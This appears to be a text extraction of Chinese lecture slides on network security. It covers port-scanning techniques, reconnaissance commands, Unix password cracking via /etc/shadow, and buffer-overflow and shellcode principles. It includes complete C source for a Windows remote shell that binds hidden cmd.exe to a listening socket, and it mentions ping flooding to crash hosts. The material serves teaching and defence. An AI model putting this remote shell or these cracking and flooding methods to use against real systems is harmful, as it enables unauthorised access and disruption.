(dāng)前為第45頁。46掃描器完成這樣一個(gè)三次握手,才算建立了可靠的TCP連接,才能開始正式傳輸數(shù)據(jù)報(bào)文。攻擊者進(jìn)行端口掃描最常用的方法就是嘗試與遠(yuǎn)程主機(jī)的端口建立一次正常的TCP連接。連接成功,表示端口開放。這種掃描方式稱為“TCPconnect掃描”。但是,這種掃描往往會(huì)被遠(yuǎn)程系統(tǒng)記入日志。針對這一缺陷,便產(chǎn)生了半開放掃描——“TCPSYN掃描”。因?yàn)?,?dāng)客戶端發(fā)出一個(gè)SYN連接請求報(bào)文后,如果收到了遠(yuǎn)程目標(biāo)主機(jī)的ACK/SYN確認(rèn),就說明遠(yuǎn)程主機(jī)的該端口是打開的;而若沒有收到程目標(biāo)主機(jī)的ACK/SYN確認(rèn),而是收到RST數(shù)據(jù)報(bào)文,就說明遠(yuǎn)程主機(jī)的該端口沒有打開。這樣對于掃描要獲得的信息已經(jīng)足夠了,也不會(huì)在目標(biāo)主機(jī)的日志中留下記錄。
網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第46頁。47掃描器(2)FIN掃描半開放掃描廣泛地應(yīng)用,使得防火墻和路由器都采取了相應(yīng)的措施,會(huì)對端口掃描進(jìn)行完全記錄。有些入侵掃描系統(tǒng)也能檢測到這類掃描,許多過濾設(shè)備能過濾SYN數(shù)據(jù)報(bào)文。于是端口掃描開始另辟溪徑,采用FIN掃描。FIN是中斷連接的數(shù)據(jù)報(bào)文。很多日志不記錄這類報(bào)文?!癟CPFIN掃描”的原理是向目標(biāo)端口發(fā)送FIN報(bào)文,如果收到了RST的回復(fù),表明該端口沒有開放;反之(沒有回復(fù)),該端口是開放的,因?yàn)榇蜷_的端口往往忽略對FIN的回復(fù)。這種方法還可以用來區(qū)別操作系統(tǒng)是Windows,還是Unix。但是,有的系統(tǒng)不管端口打開與否,一律回復(fù)RST。這時(shí),F(xiàn)IN掃描就不適用了。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第47頁。48掃描器(3)反向掃描反向掃描是一種地址掃描技術(shù),主要用于獲得可到達(dá)網(wǎng)絡(luò)和主機(jī)的地址列表,借以推斷出一個(gè)網(wǎng)絡(luò)的結(jié)構(gòu)分布圖。其基本原理是利用了多數(shù)路由器只對報(bào)文中的地址進(jìn)行檢查,而不分析報(bào)文的內(nèi)容。具體方法是使用可以穿過防火墻的RST數(shù)據(jù)報(bào)文對網(wǎng)絡(luò)地址進(jìn)行掃描。向一個(gè)網(wǎng)絡(luò)中的所有地址發(fā)送RST報(bào)文后,路由器會(huì)對這些報(bào)文進(jìn)行檢查:當(dāng)目標(biāo)地址不可到達(dá)時(shí),就送回ICMP差錯(cuò)報(bào)文;沒有返回的ICMP差錯(cuò)報(bào)文的,就是主機(jī)在線。根據(jù)不在線的主機(jī),進(jìn)行求逆可以獲得在線主機(jī)列表。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第48頁。49掃描器(4)慢速掃描慢速掃描就是使用非連續(xù)性端口進(jìn)行時(shí)間間隔長且無定率的掃描,并使用不一致的源地址,使這些掃描記錄無規(guī)律地分布在大量的日志中,被淹沒,給日志分析造成困難。(5)亂序掃描亂序掃描就是對掃描的端口號(hào)集合,隨機(jī)地產(chǎn)生掃描順序,并且每次的掃描順序不同。這就給對入侵檢測系統(tǒng)的發(fā)覺帶來困難。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第49頁。50其他信息收集類攻擊1.利用信息獲取命令舉例(1)ping命令ping命令的基本格式:ping<主機(jī)名>ping還有許多高級(jí)應(yīng)用,如命令ping–f<主機(jī)名>可以向指定主機(jī)發(fā)送大量數(shù)據(jù),使該主機(jī)忙于回應(yīng)而死機(jī)。(2)tracert命令tracert命令用來跟蹤消息從一臺(tái)主機(jī)到另一臺(tái)主機(jī)的路徑,并顯示。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第50頁。51其他信息收集類攻擊(3)rusers這個(gè)命令是Unix命令,用于收集目標(biāo)計(jì)算機(jī)上的有關(guān)用戶的信息。(4)host/nslookup命令這兩個(gè)命令都是Unix命令,可以得到包括操作系統(tǒng)、機(jī)器和網(wǎng)絡(luò)的許多信息。(5)showmount命令showmount命令可以列出一臺(tái)機(jī)器上共享的所有目錄及其相關(guān)信息。(6)rpcinfo命令rpcinfo命令報(bào)告關(guān)于一臺(tái)主機(jī)上注冊了的可供外部進(jìn)程調(diào)用的過程服務(wù)的編號(hào)、版本、端口和名稱。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第51頁。52其他信息收集類攻擊2.利用信息服務(wù)(1)whois服務(wù)whois是一個(gè)客戶程序。通過它攻擊者可以收集到下列信息:網(wǎng)絡(luò)注冊機(jī)構(gòu)網(wǎng)絡(luò)域名主機(jī)信息網(wǎng)絡(luò)IP地址分配網(wǎng)絡(luò)管理人員信息,如電子郵件、電話號(hào)碼等。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第52頁。53其他信息收集類攻擊(2)finger服務(wù)finger服務(wù)同rusers命令一樣,用于收集目標(biāo)計(jì)算機(jī)上的有關(guān)用戶的信息。(3)DNS域名轉(zhuǎn)換DNS(DomainNameService,域名服務(wù)系統(tǒng))提供域名與IP地址之間的轉(zhuǎn)換。攻擊者只需實(shí)施一次轉(zhuǎn)換,就能得到目標(biāo)系統(tǒng)(網(wǎng)絡(luò))的所有主機(jī)名稱和內(nèi)部IP地址。(4)LDAP服務(wù)攻擊者可以使用LDAP(LightDirectoryAccessProtocol,簡化目錄訪問協(xié)議)服務(wù)窺探網(wǎng)絡(luò)內(nèi)部的系統(tǒng)及其用戶信息。(5)NIS服務(wù)NIS(NetworkInformationService,網(wǎng)絡(luò)信息服務(wù))是為分布式網(wǎng)絡(luò)環(huán)境設(shè)計(jì)的一個(gè)統(tǒng)一管理系統(tǒng),它把公共的配置文件,如用戶賬號(hào)和口令文件、用戶組文件、主機(jī)名與IP對應(yīng)文件,轉(zhuǎn)變成一種映射數(shù)據(jù)結(jié)構(gòu)。攻擊者非法獲取NIS/NIS+的使用權(quán)后,就可以獲取有關(guān)信息。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第53頁。54入侵類攻擊網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第54頁。55口令攻擊口令機(jī)制是資源訪問的第一道屏障。攻破了這到屏障,就獲得了進(jìn)入系統(tǒng)的第一道大門。所以口令攻擊是入侵者最常用的攻擊手段??诹罟艨梢詮钠平饪诹詈推帘慰诹畋Wo(hù)兩個(gè)方面進(jìn)行。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第55頁。56口令攻擊1.口令破解的基本技術(shù)口令破解首先要獲取口令文件,然后采取一定的攻擊技術(shù)進(jìn)行口令的破解。下面介紹口令破解的基本方法。(1)口令字典猜測破解法攻擊者基于某些知識(shí),編寫出口令字典,然后對字典進(jìn)行窮舉或猜測攻擊。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第56頁。57網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第57頁。58口令攻擊目前,Internet上已經(jīng)提供了一些口令字典,從一萬到幾十萬條,可以下載。此外,還有一些可以生成口令字典的程序。利用口令字典可以以猜測方式進(jìn)行口令破解攻擊。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第58頁。59口令攻擊(2)窮舉破解法有人認(rèn)為使用足夠長的口令或者使用足夠完善的加密模式,就會(huì)攻不破。事實(shí)上沒有攻不破的口令,這只是個(gè)時(shí)間問題。如果有速度足夠快的計(jì)算機(jī)能嘗試字母、數(shù)字、特殊字符所有的組合,將最終能破解所有的口令。這種類型的攻擊方式通過窮舉口令空間獲得用戶口令稱為窮舉破解法或蠻力破解,也叫強(qiáng)行攻擊。如先從字母a開始,嘗試aa、ab、ac等等,然后嘗試aaa、aab、aac……。攻擊者也可以利用分布式攻擊。如果攻擊者希望在盡量短的時(shí)間內(nèi)破解口令,也可能會(huì)求助幾個(gè)有大批計(jì)算機(jī)的公司并利用他們的資源破解口令。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第59頁。60口令攻擊(3)組合破解法詞典破解法只能發(fā)現(xiàn)詞典單詞口令,但是速度快。窮舉破解法能發(fā)現(xiàn)所有的口令,但是破解時(shí)間很長。鑒于很多管理員要求用戶使用字母和數(shù)字,用戶的對策是在口令后面添加幾個(gè)數(shù)字,如把口令computer變成computer99。使用強(qiáng)行破解法又非常費(fèi)時(shí)間。由于實(shí)際的口令常常很弱(可以通過對字典或常用字符列表進(jìn)行搜索或經(jīng)過簡單置換而發(fā)現(xiàn)的口令)。這時(shí)可以基于詞典單詞而在單詞尾部串接幾個(gè)字母和數(shù)字。這就是組合破解法。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第60頁。61口令攻擊(4)其他破解類型社會(huì)工程學(xué):通過對目標(biāo)系統(tǒng)的人員進(jìn)行游說、欺騙、利誘,獲得口令或部分。偷窺:觀察別人敲口令。搜索垃圾箱。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第61頁。62口令攻擊2.Unix系統(tǒng)的口令攻擊Unix系統(tǒng)用戶的口令,本來是經(jīng)加密后保存在一個(gè)文本文件passwd中,一般存放在/etc目錄下。后來由于安全的需要,把passwd文件中與用戶口令相關(guān)的域提取出來,組織成文件shadow,并規(guī)定只有超級(jí)用戶才能讀取。這種分離工作也稱為shadow變換。因此,在破解口令時(shí),需要作UnShadow變換,將/etc/passwd與/etc/shadow合并起來。在此基礎(chǔ)上才開始進(jìn)行口令的破解。真正的加密口令一般是很難逆向破解的,黑客們常用的口令入侵工具所采用的技術(shù)是仿真對比,利用與原口令程序相同的方法,通過對比分析,用不同的加密口令去匹配原口令。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第62頁。63口令攻擊口令破解工具Crack的主要工作流程。它采用逆向比較法進(jìn)行口令破解。1準(zhǔn)備:對口令文件作UnShadow變換;2下載或自己生成一個(gè)字典文件;3窮舉出口令字典中的每個(gè)條目,對每個(gè)單詞運(yùn)用一系列規(guī)則。典型的規(guī)則有:使用幾個(gè)單詞或數(shù)字的組合;大小寫交替使用;把單詞正向、反向拼寫后,接在一起;在單詞的開頭或結(jié)尾加上一些數(shù)字;規(guī)則可以多種多樣。規(guī)則越多,破譯時(shí)間越長;但成功率越高。4調(diào)用crypt()函數(shù)對使用規(guī)則生成的字符串進(jìn)行加密變換;5用一組子程序打開口令文件,取出密文口令,與crypt()函數(shù)的輸出進(jìn)行比較。循環(huán)3、4兩步,直到口令破解成功。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第63頁。64口令攻擊3.網(wǎng)絡(luò)服務(wù)口令攻擊網(wǎng)絡(luò)服務(wù)口令攻擊往往是一種遠(yuǎn)程在線攻擊,攻擊過程大致如下:1建立與目標(biāo)網(wǎng)絡(luò)服務(wù)的網(wǎng)絡(luò)連接;2選取一個(gè)用戶列表文件和一個(gè)字典文件;3在用戶列表文件和一個(gè)字典文件中,選取一組用戶和口令,按照網(wǎng)絡(luò)服務(wù)協(xié)議規(guī)定,將用戶名和口令發(fā)給目標(biāo)網(wǎng)絡(luò)服務(wù)端口。4檢測遠(yuǎn)程服務(wù)返回信息,確定口令嘗試是否成功。循環(huán)2、3、4步,直到口令破解成功。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第64頁。65口令攻擊4.增強(qiáng)口令安全性的措施口令攻擊的成功與否,取決于多種因素,如口令長度、口令有效期、口令加密算法的加密強(qiáng)度、口令系統(tǒng)的安全機(jī)制等。此外,采用下面一些措施,也可以增強(qiáng)口令的安全性:除進(jìn)行口令驗(yàn)證外,還應(yīng)使口令完全不可讀(包括超級(jí)用戶)。在選擇密碼時(shí),就對密碼進(jìn)行過濾。對字典或字符列表進(jìn)行掃描,剔除用戶選擇的弱口令。采用口令與智能卡結(jié)合的方式登錄系統(tǒng)。使用一次性口令。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第65頁。66緩沖區(qū)溢出攻擊1.概述緩沖區(qū)是程序運(yùn)行時(shí)在內(nèi)存中為保存給定類型的數(shù)據(jù)而開辟的一個(gè)連續(xù)空間。這個(gè)空間是有限的。當(dāng)程序運(yùn)行過程中要放入緩沖區(qū)的數(shù)據(jù)太多時(shí),就會(huì)產(chǎn)生緩沖區(qū)溢出。
網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第66頁。67緩沖區(qū)溢出攻擊早在1988年,美國康奈爾大學(xué)的計(jì)算機(jī)科學(xué)系研究生,23歲的莫里斯(Morris)利用了UNIXfingered程序不限制輸入長度的漏洞使緩沖器溢出。Morris又寫了一段程序使他的惡意程序能以root(根)身份執(zhí)行,并傳播到其他機(jī)器上,結(jié)果造成6000臺(tái)Internet上的服務(wù)器癱瘓,占當(dāng)時(shí)總數(shù)的10%?!癝QLSlammer”蠕蟲王的發(fā)作原理,就是利用未及時(shí)更新補(bǔ)丁的MSSQLServer數(shù)據(jù)庫緩沖溢出漏洞。采用不正確的方式將數(shù)據(jù)發(fā)到MSSqlServer的監(jiān)聽端口,這個(gè)錯(cuò)誤可以引起緩沖溢出攻擊。目前新出現(xiàn)的MSBLAST病毒正是利用了微軟關(guān)于RPC接口中遠(yuǎn)程任意可執(zhí)行代碼漏洞,“中招”的機(jī)器會(huì)反復(fù)重啟,或者拷貝、粘貼功能不工作等現(xiàn)象。黑客如果成功利用緩沖漏洞,就有可能獲得對遠(yuǎn)程計(jì)算機(jī)的完全控制,并以本地系統(tǒng)權(quán)限執(zhí)行任意指令,如安裝程序、查看或更改、刪除數(shù)據(jù)、格式化硬盤等,危害性不言而喻。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第67頁。68緩沖區(qū)溢出攻擊
緩沖溢出漏洞是一種很普遍的漏洞。在1998年CERT的13份建議中,有9份是是與緩沖區(qū)溢出有關(guān)的,在1999年,至少有半數(shù)的建議是和緩沖區(qū)溢出有關(guān)的。根據(jù)綠盟科技提供的漏洞報(bào)告():2002年共發(fā)現(xiàn)各種操作系統(tǒng)和應(yīng)用程序的漏洞1830個(gè),其中緩沖區(qū)溢出漏洞有432個(gè),占總數(shù)的23.6%;而2002年程度嚴(yán)重、影響范圍最大的十個(gè)安全漏洞中,和緩沖區(qū)溢出相關(guān)的就有6個(gè)。值得關(guān)注的是,緩沖器溢出攻擊不是一種竊密和欺騙的手段,而是從計(jì)算機(jī)系統(tǒng)的最底層發(fā)起攻擊,因此在它的攻擊下系統(tǒng)的身份驗(yàn)證和訪問權(quán)限等安全策略形同虛設(shè);同時(shí),由于攻擊者傳輸?shù)臄?shù)據(jù)分組并無異常特征,沒有任何欺騙,且用來實(shí)施緩存器溢出攻擊的字符串非常多樣化,無法與正常數(shù)據(jù)有效進(jìn)行區(qū)分,因而傳統(tǒng)安全工具(如防火墻)對這種攻擊方式也無能為力。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第68頁。69緩沖區(qū)溢出攻擊2.緩沖溢出的基本原理緩沖區(qū)溢出的根本原因來自C語言(以及其后代C++)本質(zhì)的不安全性:沒有邊界來檢查數(shù)組和指針的引用;標(biāo)準(zhǔn)C庫中還存在許多非安全字符串操作,如strcpy()、sprintf()、gets()等。為了說明這個(gè)問題還必須看一看程序的內(nèi)存映像。任何一個(gè)源程序通常都包括代碼段和數(shù)據(jù)段,這些代碼和數(shù)據(jù)本身都是靜態(tài)的。為了運(yùn)行程序,首先要由操作系統(tǒng)負(fù)責(zé)為其創(chuàng)建進(jìn)程,并在進(jìn)程的虛擬地址空間中為其代碼段和數(shù)據(jù)段建立映射。但是,光有靜態(tài)的代碼段和數(shù)據(jù)段是不夠的,進(jìn)程在運(yùn)行過程中還要有其動(dòng)態(tài)環(huán)境。一般說來,默認(rèn)的動(dòng)態(tài)存儲(chǔ)環(huán)境通過堆棧(簡稱棧)機(jī)制建立。所有局部變量以及所有按值傳遞的函數(shù)參數(shù)都通過堆棧機(jī)制自動(dòng)地進(jìn)行內(nèi)存空間的分配。分配同一數(shù)據(jù)類型相鄰塊的內(nèi)存區(qū)域稱為緩沖區(qū)網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第69頁。70網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第70頁。71緩沖區(qū)溢出攻擊下面的程序是一個(gè)緩沖溢出的實(shí)例。#include<stdio.h>intmain(){ charname[5]; printf(“Pleaseinputyourname:”); gets(name); printf(“youare%s”,name);}
運(yùn)行這個(gè)程序可以發(fā)現(xiàn),當(dāng)輸入的字符數(shù)少時(shí),程序運(yùn)行正常;當(dāng)輸入的字符數(shù)太多時(shí)(超過8),程序就不能正常結(jié)束。這就是緩沖區(qū)逸出所造成。
網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第71頁。72緩沖區(qū)溢出攻擊從邏輯上講進(jìn)程的堆棧是由多個(gè)堆棧幀構(gòu)成的,其中每個(gè)堆棧幀都對應(yīng)一個(gè)函數(shù)調(diào)用。當(dāng)函數(shù)調(diào)用發(fā)生時(shí),新的堆棧幀被壓入堆棧;當(dāng)函數(shù)返回時(shí),相應(yīng)的堆棧幀從堆棧中彈出。盡管堆棧幀結(jié)構(gòu)的引入為在高級(jí)語言中實(shí)現(xiàn)函數(shù)或過程這樣的概念提供了直接的硬件支持,但是由于將函數(shù)返回地址這樣的重要數(shù)據(jù)保存在程序員可見的堆棧中。當(dāng)程序?qū)懭氤^緩沖區(qū)的邊界時(shí),這就是所謂的“緩沖區(qū)溢出”。發(fā)生緩沖區(qū)溢出時(shí),就會(huì)覆蓋下一個(gè)相鄰的內(nèi)存塊,導(dǎo)致一些不可預(yù)料的結(jié)果:也許程序可以繼續(xù),也許程序的執(zhí)行出現(xiàn)奇怪現(xiàn)象,也許程序完全失敗。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第72頁。73典型的堆棧幀結(jié)構(gòu)如圖所示。堆棧中存放的是與每個(gè)函數(shù)對應(yīng)的堆棧幀。當(dāng)函數(shù)調(diào)用發(fā)生時(shí),新的堆棧幀被壓入堆棧;當(dāng)函數(shù)返回時(shí),相應(yīng)的堆棧幀從堆棧中彈出。
典型的堆棧幀結(jié)構(gòu)
網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第73頁。74函數(shù)調(diào)用示例函數(shù):intfunc(inta,intb){intretVal=a+b;returnretVal;}intmain(intargc,char*argv[]){ intresult=func(1,2); printf("HelloWorld!\n"); return0;}EIP(指令指針)、EBP(基址指針)、ESP指針(堆棧指針)CallDST:SP=SP-2,(SP+1,SP)=IP,IP=IP+D16RETEXP:IP=(SP+1,SP),SP=SP+2,SP=SP+D1621Ret-addebpretVal……Stackframe網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第74頁。75緩沖區(qū)溢出攻擊堆棧幀的頂部為函數(shù)的實(shí)參,下面是函數(shù)的返回地址以及前一個(gè)堆棧幀的指針,最下面是分配給函數(shù)的局部變量使用的空間。一個(gè)堆棧幀通常都有兩個(gè)指針,其中一個(gè)稱為堆棧幀指針,另一個(gè)稱為棧頂指針。前者所指向的位置是固定的,而后者所指向的位置在函數(shù)的運(yùn)行過程中可變。因此,在函數(shù)中訪問實(shí)參和局部變量時(shí)都是以堆棧幀指針為基址,再加上一個(gè)偏移。實(shí)參的偏移為正,局部變量的偏移為負(fù)。當(dāng)發(fā)生數(shù)據(jù)棧溢出時(shí),多余的內(nèi)容就會(huì)越過棧底,覆蓋棧底后面的內(nèi)容。通常,與棧底相鄰的內(nèi)存空間中存放著程序返回地址。因此,數(shù)據(jù)棧的溢出,會(huì)覆蓋程序的返回地址,從而造成如下局面:要么程序會(huì)取到一個(gè)錯(cuò)誤地址,要么將因程序無權(quán)訪問該地址而產(chǎn)生一個(gè)錯(cuò)誤。鑒此,C語言把這一艱巨任務(wù)交給了開發(fā)人員,要求他們進(jìn)行邊界檢查,編寫安全的程序。然而這一要求往往被人們忽視,從而給黑客有機(jī)可乘。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第75頁。76緩沖區(qū)溢出攻擊3.緩沖區(qū)溢出攻擊如果當(dāng)發(fā)生緩沖溢出時(shí),能夠準(zhǔn)確地控制跳轉(zhuǎn)地址,將程序流程引向預(yù)定的地址,CPU就會(huì)去執(zhí)行這個(gè)指令。如果入侵者在預(yù)定的地址中放置代碼用于產(chǎn)生一個(gè)Shell,則當(dāng)程序被溢出時(shí),入侵者將獲得一個(gè)Shell。該Shell會(huì)繼承被溢出的程序的權(quán)限(操作系統(tǒng)中,一個(gè)新產(chǎn)生的Shell會(huì)繼承生成該Shell的程序的權(quán)限)。如果入侵者獲得了某臺(tái)服務(wù)器的一個(gè)普通權(quán)限賬號(hào),而服務(wù)器上某個(gè)以root或system權(quán)限運(yùn)行的程序存在緩沖溢出漏洞,入侵者就可以利用該漏洞生成的Shell去獲得root權(quán)限。而入侵者進(jìn)行攻擊的關(guān)鍵是修改以較高權(quán)限運(yùn)行的程序跳轉(zhuǎn)指令的地址。
網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第76頁。77緩沖區(qū)溢出攻擊
入侵者為了修改以較高權(quán)限運(yùn)行的程序跳轉(zhuǎn)指令的地址,一般要經(jīng)過如下3步。(1)編寫攻擊代碼。(2)將需要執(zhí)行的代碼放到目標(biāo)系統(tǒng)的內(nèi)存。下面是兩種常用方法:植入法:攻擊者用被攻擊程序的緩沖區(qū)來存放攻擊代碼。攻擊者向被攻擊的程序輸入一個(gè)字符串,程序會(huì)把這個(gè)字符串放到緩沖區(qū)里。這個(gè)字符串包含的數(shù)據(jù)是可以在這個(gè)被攻擊的硬件平臺(tái)上運(yùn)行的指令序列。
利用已經(jīng)有的代碼:攻擊者想要的攻擊代碼已經(jīng)在被攻擊的程序中了,攻擊者所要做的只是對代碼傳遞一些參數(shù),然后使程序跳轉(zhuǎn)到我們的目標(biāo)。比如,攻擊代碼要求執(zhí)行"exec('/bin/sh')",而在libc庫中的代碼執(zhí)行"exec(arg)",其中arg是一個(gè)指向字符串的指針參數(shù),那么攻擊者只要把傳入的參數(shù)指針改向指向"/bin/sh",然后調(diào)轉(zhuǎn)到libc庫中的相應(yīng)的指令序列即可。
(3)控制程序跳轉(zhuǎn),改變程序流程。下面是3種常用方法。修改程序返回地址:將預(yù)先設(shè)定好的地址替換程序原來的返回地址。在緩沖區(qū)附近放一個(gè)函數(shù)指針,指向入侵者定義的指令。使用longjmp:C語言的setjmp/longjmp是一個(gè)檢驗(yàn)/恢復(fù)系統(tǒng),可以在檢驗(yàn)點(diǎn)設(shè)定setjmp(buffer),用longjmp(buffer)恢復(fù)檢驗(yàn)點(diǎn)。入侵者可以利用longjmp(buffer)跳轉(zhuǎn)到預(yù)定代碼。
網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第77頁。78程序指令流被改變后……溢出之后,讓程序執(zhí)行我們指定的代碼我們自己提供的一段代碼系統(tǒng)現(xiàn)有的調(diào)用由于這段代碼往往不能太長,所以需要精心設(shè)計(jì),并且充分利用系統(tǒng)中現(xiàn)有的函數(shù)和指令對于不同的操作系統(tǒng)Linux/Unix,盡可能地得到一個(gè)shell(最好是rootshell)Windows,一個(gè)可以遠(yuǎn)程建立連接的telnet會(huì)話通用的模式找到具有漏洞的程序(vulnerableprogram)編寫出shellcode,然后編寫把shellcode送到漏洞程序的程序(稱為exploit)網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第78頁。79Windows平臺(tái)下的bufferoverflows過程發(fā)現(xiàn)目標(biāo)找到有漏洞的程序,如果在輸入非正常字符串的時(shí)候,出現(xiàn)右圖的情形或者從程序中找漏洞,用好的反匯編工具,加上耐心以一個(gè)特定的字符串作為線索,跟蹤到strcpy這樣的函數(shù),看是否有邊界檢查編寫shellcode編寫exploit程序,并試驗(yàn),直到成功網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第79頁。80編寫Windows平臺(tái)下的shellcodeShellcode將被放在一個(gè)buffer中Shellcode可以寫成通用的,也就是與具體的應(yīng)用無關(guān)Shellcode的功能目標(biāo)產(chǎn)生一個(gè)shell,可能是本地的也可能是遠(yuǎn)程的,把shell的輸入輸出與一個(gè)socket連接起來編寫通用shellcode要注意的地方Shellcode不能太長,盡可能的短小精致Shellcode的代碼不能包含’\x0’,否則就會(huì)被strcpy這樣的函數(shù)截?cái)郤hellcode應(yīng)該與Windows的操作系統(tǒng)無關(guān),版本(或補(bǔ)丁)無關(guān)可供使用的系統(tǒng)調(diào)用非常有限網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第80頁。81Shellcode代碼本地shellcode:最簡單的做法是調(diào)用CreateProcess創(chuàng)建一個(gè)進(jìn)程,執(zhí)行cmd.exe遠(yuǎn)程shellcode:在遠(yuǎn)程機(jī)器上執(zhí)行一個(gè)網(wǎng)絡(luò)服務(wù)程序,打開一個(gè)socket端口,等待客戶程序來連接。當(dāng)客戶程序連接上之后,為客戶建立一個(gè)cmd.exe進(jìn)程,并且把客戶的輸入輸出與cmd.exe的輸入輸出聯(lián)系起來,于是客戶就有了一個(gè)遠(yuǎn)程shell如何把輸入輸出聯(lián)系起來呢?可以通過管道(pipe)來實(shí)現(xiàn)。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第81頁。82Windows下的遠(yuǎn)程shellcode代碼(C版本)#include<winsock2.h>#include<stdio.h>intmain(){
WSADATAwsa;
SOCKETlistenFD;
charBuff[1024]; intret;
WSAStartup(MAKEWORD(2,2),&wsa);
listenFD=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);/創(chuàng)建socket
structsockaddr_inserver;
server.sin_family=AF_INET;
server.sin_port=htons(53764);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr*)&server,sizeof(server));/綁定到端口
ret=listen(listenFD,2);/偵聽
intiAddrSize=sizeof(server);
SOCKETclientFD=accept(listenFD,(sockaddr*)&server,&iAddrSize);網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第82頁。83Windows下的遠(yuǎn)程shellcode代碼(續(xù)一) SECURITY_ATTRIBUTESsa;
sa.nLength=12; sa.lpSecurityDescriptor=0; sa.bInheritHandle=true;
HANDLEhReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0); //管道1:cmd.exe進(jìn)程寫數(shù)據(jù)到管道,父進(jìn)程從管道中讀出數(shù)據(jù)
ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0); //管道2:父進(jìn)程寫數(shù)據(jù)到管道,cmd.exe進(jìn)程從管道中讀出數(shù)據(jù)
STARTUPINFOsi;
ZeroMemory(&si,sizeof(si));
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
si.hStdInput=hReadPipe2;
si.hStdOutput=si.hStdError=hWritePipe1;
charcmdLine[]="cmd.exe";
PROCESS_INFORMATIONProcessInformation;
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si, &ProcessInformation);網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第83頁。84Windows下的遠(yuǎn)程shellcode代碼(續(xù)二)
unsignedlonglBytesRead;
while(1) {
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0); //看看cmd.exe是否有數(shù)據(jù)輸出
if(lBytesRead) {
ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret)break;
ret=send(clientFD,Buff,lBytesRead,0);
if(ret<=0)break;
}else{
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead<=0)break;
ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
if(!ret)break;
} } return0;}//main()網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第84頁。85在Windows下編寫shellcode的困難如何調(diào)用系統(tǒng)函數(shù)匯編代碼是使用call指令,如何確定call后面的指令?我們不能使用importtable我們使用GetProcAddress和LoadLibraryA來解決這兩個(gè)函數(shù)的地址可以從exe的importtable中找到做法:把所有需要用到的系統(tǒng)函數(shù)都放到一張數(shù)據(jù)表中,然后通過GetProcAddress找到這些函數(shù)的地址消除代碼中的null字節(jié)在數(shù)據(jù)區(qū),加減一個(gè)常量來避免出現(xiàn)null,這樣在代碼剛開始執(zhí)行的時(shí)候,要先恢復(fù)數(shù)據(jù)區(qū)在指令區(qū),通過一些技巧來獲得0,比如xoreax,eax要賦值0x00441110給ebx,則可以
movebx,44111099
